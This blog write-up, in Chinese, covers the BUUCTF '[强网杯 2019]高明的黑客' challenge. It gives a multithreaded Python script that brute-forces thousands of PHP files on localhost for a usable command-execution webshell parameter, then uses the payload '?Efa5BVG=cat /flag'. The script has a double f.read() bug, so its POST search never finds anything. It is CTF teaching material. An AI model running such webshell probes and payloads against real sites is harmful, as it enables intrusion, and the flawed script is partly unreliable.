python多线程脚本应用
前言
- 环境:buuctf中[强网杯 2019]高明的黑客
- 知识点:python多线程
- 参考博客:wp
做题
进去题目页面,给了我们一个备份文件,下载下来有三千多个php文件,打开看一下其中GET,POST传参之类的,题目意思找出所有文件中其中一个文件的其中一个能用的shell.
贴上大佬脚本
import os
import re
import requests
import threading
import time
print("开始时间:"+time.asctime(time.localtime(time.time()))) #转换为标准时间格式
s1=threading.Semaphore(100) #设置最大线程
filePath=r"/var/www/html/src/"
os.chdir(filePath) #cd到filePath目录
requests.adapters.DEFAULT_RETRIES=5 #设置重连次数,防止线程数过高,断开连接
session=requests.session()
session.keep_alive=False #设置连接活跃状态为False
files=os.listdir(filePath)
def get_content(file):
s1.acquire() #相当于一个计数器功能,计数器减一
print("trying "+file+" "+time.asctime(time.localtime(time.time())))
with open(file,encoding='utf-8') as f:
gets=re.findall(r"\$_GET\[\'(\w+)\'\]",f.read()) #findall返回一个数组,数组是由正则匹配到的小括号里的组成
posts=re.findall(r"\$_POST\[\'(\w+)\'\]",f.read())
data={}
params={}
for m in gets:
params[m]="echo 'NineOne';"
for n in posts:
params[n]="echo 'NineOne';"
url='http://127.0.0.1/src/'+file
req=session.post(url,data=data,params=params)
req.close() #关闭这个会话,释放内存
req.encoding='utf-8'
content=req.text
if 'NineOne' in content:
flag=0
for a in gets:
req=session.get(url+"?%s="%a+"echo 'NineOne';")
content=req.text
req.close()
if "NineOne" in content:
flag=1
break
if flag!=1:
for b in posts:
req=session.post(url,data={b:"echo 'NineOne';"})
content=req.text
req.close()
if "NineOne" in content:
break
if flag==1:
param=a
else:
param=b
print("找到利用文件"+file+" ,利用参数:%s"%param)
print("结束时间:"+time.asctime(time.localtime(time.time())))
s1.release() #计数器加一
for i in files:
t=threading.Thread(target=get_content,args=(i,)) #args后面要加逗号,不然拨错
t.start() #启动多线程
脚本意思是先遍历这个文件,把这个文件的所有shell都找出来,然后一次性访问,通过echo来判定这个文件中是否有可用的shell,如果有可用shell,那么就分两步,先在GET数组里找shell,要是没有找到再去POST里面找shell,通过flag判定是GET里的shell还是POST里的shell,之后打印出来
找到shell之后,注意这里shell的形式是system($_GET['Efa5BVG'])
,所以直接构造?Efa5BVG=cat /flag
即可